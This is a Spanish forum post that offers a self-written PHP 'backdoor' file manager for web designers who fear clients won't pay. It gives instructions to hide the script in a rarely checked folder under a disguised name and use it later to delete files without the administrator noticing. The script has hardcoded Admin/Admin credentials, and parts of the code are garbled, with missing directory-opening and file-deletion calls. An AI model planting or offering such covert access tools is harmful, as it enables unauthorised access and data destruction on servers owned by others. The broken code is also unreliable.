Buenas gente del foro, me han consultado recientemente sobre un caso particular, que pasa si, por ejemplo, le diseñamos la estetica a una web la subimos por ftp para que la usen los desarrolladores que nos contratan y estos no nos pagan, es mas, eliminan nuestra cuenta ftp.
Nos estarian estafando, claro esta. y que podemos hacer? como borrar nuestros archivos del server si no tenemos acceso al ftp? las herramientas de hacking son casi inutiles ante los ultimos protocolos de seguridad de los server y ademas no apoyo esta alternativa.
El scrip que aporto a continuacion es un backdoor.
Como veran en el codigo no es un virus, ni un hack, ni nada de eso, por lo que no creo estar rompiendo ninguna norma del foro al publicarlo, (ademas de que es escrito por mi)
Este script debe ser subido al server a una carpeta donde dificilmente sea rastreado, por ejemplo:
Public-Html/Sistema/Archivos/Postales/Formularios/Plugins/Validadores/Worpress/Articles/......
es decir a una carpeta que el administrador no valla a mirar con frecuencia, preferiblemente que tenga muchos archivos php, y le ponemos un nombre tipo
form_validator.php u otro que se camufle entre los ya existentes.
de esta manera si no recibimos lo que pedimos a cambio por nuestro trabajo podremos eliminar del server nuestros archivos sin ser notados por el admin (o por lo menos esa es la idea).
tambien puede usarse este script para montar un panel de control (originalmente eso era con algunas funciones que quite porque para esto es innesesario)
Codigo:
Código PHP:
Ver original<?php
//Configuracion:
$DAT[USR] = 'Admin'; //Usuario
$DAT[CLV] = 'Admin'; //Clave
$DAT[TRO] = 'Backdoor.php'; //Nombre de este archivo
$DAT[RUT] = './'; //Ruta relativa al archivo del directorio padre que sequiere controlar
//Desloguearse.
If ($_GET['EXT']=='1') {
Unset($_SESSION['Clave']); }
//Cabeza de la pagina.
Echo <<<HTML
<Html>
<Head>
<Meta Charset="Utf-8" />
<Title>Panel de Control</Title>
<Style>
body{
background-image:-webkit-linear-gradient(top,#F9F9F9,#E9E9E9);
}
#Contenido , #Botonera , #Log {
width:900px;
border:3px double #666;
padding:10px;
color:#222;
font-family:arial;
font-size:12px;
font-variant:small-caps;
font-weight:bold;
margin:10px auto;
box-shadow:rgba(0,0,0,0.498039) 0 1px 3px,rgba(255,255,255,0.701961) 0 0 1px inset;
background-image:-webkit-gradient(linear,0 0%,0 100%,from(#0E4168),color-stop(0.1,#236BA3),color-stop(0.5,#236BA3),color-stop(0.9,#236BA3),to(#0E4168));
min-height:40px;
border-radius:5px;
text-align:center;
}
form td , form table {
border:1px solid #666;
padding:10px;
color:#222;
font-family:arial;
font-size:15px;
font-variant:small-caps;
font-weight:bold;
margin:10px auto;
box-shadow:rgba(0,0,0,0.498039) 0 1px 3px,rgba(255,255,255,0.701961) 0 0 1px inset;
background-image:-webkit-linear-gradient(top,#FEFEFE,#EDEDED);
border-radius:3px
}
form table{
width:875px;
margin:5px auto;
border-radius:6px
}
th {
border:1px solid #666;
padding:10px;
color:#EEE;
font-family:arial;
font-size:20px;
font-variant:small-caps;
font-weight:bold;
margin:10px auto;
box-shadow:rgba(0,0,0,0.498039) 0 1px 3px,rgba(255,255,255,0.701961) 0 0 1px inset;
background-image:-webkit-linear-gradient(top,#555,#111);
border-radius:3px;
Text-Align:Center;
}
.Directorio{
background-image:-webkit-linear-gradient(top,#CCC,#AAA);
Text-Align:Center;
}
input[type=button] , input[type=submit] , .Button {
background-image:-webkit-gradient(linear,0 0%,0 100%,from(#FFF),color-stop(0.25,#EBEBEB),color-stop(0.5,#DBDBDB),to(#B5B5B5));
border:1px solid #949494;
border-bottom-left-radius:3px;
border-bottom-right-radius:3px;
border-top-left-radius:3px;
border-top-right-radius:3px;
box-shadow:rgba(0,0,0,0.498039) 0 1px 3px,#FFF 0 0 2px inset;
color:#333;
font-family:Arial;
font-size:14px;
font-weight:bold;
margin:5px;
padding:5px 20px;
text-shadow:rgba(0,0,0,0.2) 0 -1px 0px,#FFF 0 1px 0;
font-variant:small-caps;
}
input[type=button]:hover , input[type=submit]:hover , .button:hover {
box-shadow:#000 0 0 10px;
color:#000;
cursor:pointer;
font-weight:bold
}
input[type=button]:active , input[type=submit]:active , .button:active{
box-shadow:#EFEFEF 0 0 10px
}
#Error{
background-image:-webkit-gradient(linear,0 0%,0 100%,from(#EA5347),to(#D66124));
border:1px solid #959595;
border-bottom-left-radius:3px;
border-bottom-right-radius:3px;
border-top-left-radius:3px;
border-top-right-radius:3px;
box-shadow:#000 0 0 8px;
color:#222;
font-size:14px;
font-variant:small-caps;
margin:30px auto;
min-height:50px;
padding:25px 0 0 0;
text-align:center;
text-shadow:#959595 0 1px 0;
width:300px;
}
</Style>
</Head>
<Body>
HTML;
//Verificar autenticidad.
If ($_SESSION[Clave] != '4Quydp6aqqUbQDv2') {
//Verificar usuario y clave.
If( ($_POST[USR] != $DAT[USR]) Or ($_POST[CLV] != $DAT[CLV]) ){
//Formulario de logueo.
Echo <<<HTML
<Div Id="Botonera">
<Div Id="Error">Error. Debes ser usuario autorizado.</Div>
</Div>
<Div Id="Contenido">
<Form Id="Formulario" Action="$DAT[TRO]" Method="post">
<Table>
<Tr>
<Td> Usuario: </Td> <Td> <Input Type="Text" Name="USR" Id="USR" Size="30" /> </Td>
</Tr
<Tr>
<Td> Clave: </Td> <Td> <Input Type="Password" Name="CLV" Id="CLV" Size="30" /> </Td>
</Tr>
<Tr>
<Td Colspan="2"> <Input Type="Submit" Value="Entrar!" Style="Float:Right"/> </Td>
</Tr>
</Table>
</Form>
</Div>
HTML;
} Else {
//Logueo correcto, habilitar acceso.
$_SESSION[Clave] = '4Quydp6aqqUbQDv2';
//Si tu server lo permite puedes reemplazar este echo por un: Header("Location: $DAT[TRO]");
Echo <<<HTML
<Div Id="Botonera">
<A Href="$DAT[TRO]" Class="Button">Acceder!</A>
</Div>
HTML;
}
} Else {
//Estas habilitado.
Echo <<<HTML
<Form Id="Formulario" Action="$DAT[TRO]" Method="post">
<Div Id="Botonera">
<Input Type="Submit" Value="Eliminar Seleccionados" Style="Float:Left" />
<A Href="$DAT[TRO]?EXT=1" Class="Button" Style="Float:Right" >Cerrar & Salir.</A>
</Div>
<Div Id="Log">
HTML;
//Si tengo que eliminar elimino.
If (Isset($_POST[Datos
])) { ForEach ($_POST[Datos] As $ARCH) {
Echo ("Error borrando: $ARCH<Br />");
} Else {
Echo ("Archivo borrado: $ARCH<Br />");
}
}
}
Echo <<<HTML
</Div>
<Div Id="Contenido">
<Table>
<Tr>
<Th> Selec. </Th> <Th> Ruta </Th> <Th> Archivo </Th>
</Tr>
HTML;
//Funcion recursiva que los muestra.
Function ListarArchivos($RUT){
$I=0;
While (($ARCH = ReadDir($DIR)) != False) { If ( (Is_Dir($RUT.$ARCH)) And
($ARCH != ".") And
($ARCH != "..") ){ Echo '<Tr><Td Colspan="4" Class="Directorio" >'.$ARCH.'</Td>';
ListarArchivos($RUT.$ARCH.'/');
}
If ( (!Is_Dir($RUT.$ARCH)) And
($ARCH != ".") And
($ARCH != "..") ){ Echo '<Tr><Td><Input Type="Checkbox" Name="Datos[]" Value="'.$RUT.$ARCH.'"/></Td><Td>'.$RUT.'</Td><Td>'.$ARCH.'</Td>';
}
}
}
}Else {
Echo "<Br />No es ruta valida";
}
}
//Muestro archivos a partir de esta ruta.
ListarArchivos($DAT[RUT]);
Echo <<<HTML
</Table>
</Div>
HTML;
Echo <<<HTML
</Form>
HTML;
}
//Fin de la pagina.
Echo <<<HTML
</Body>
</Html>
HTML;
?>
para que ande hay que asegurarse que despues de
HTML; no halla espacios ni nada.
espero le sea util a alguien, y si no les sirve como medida de seguridad de su trabajo, tal vez le sirva para montar un panel de control propio o algo asi.
saludos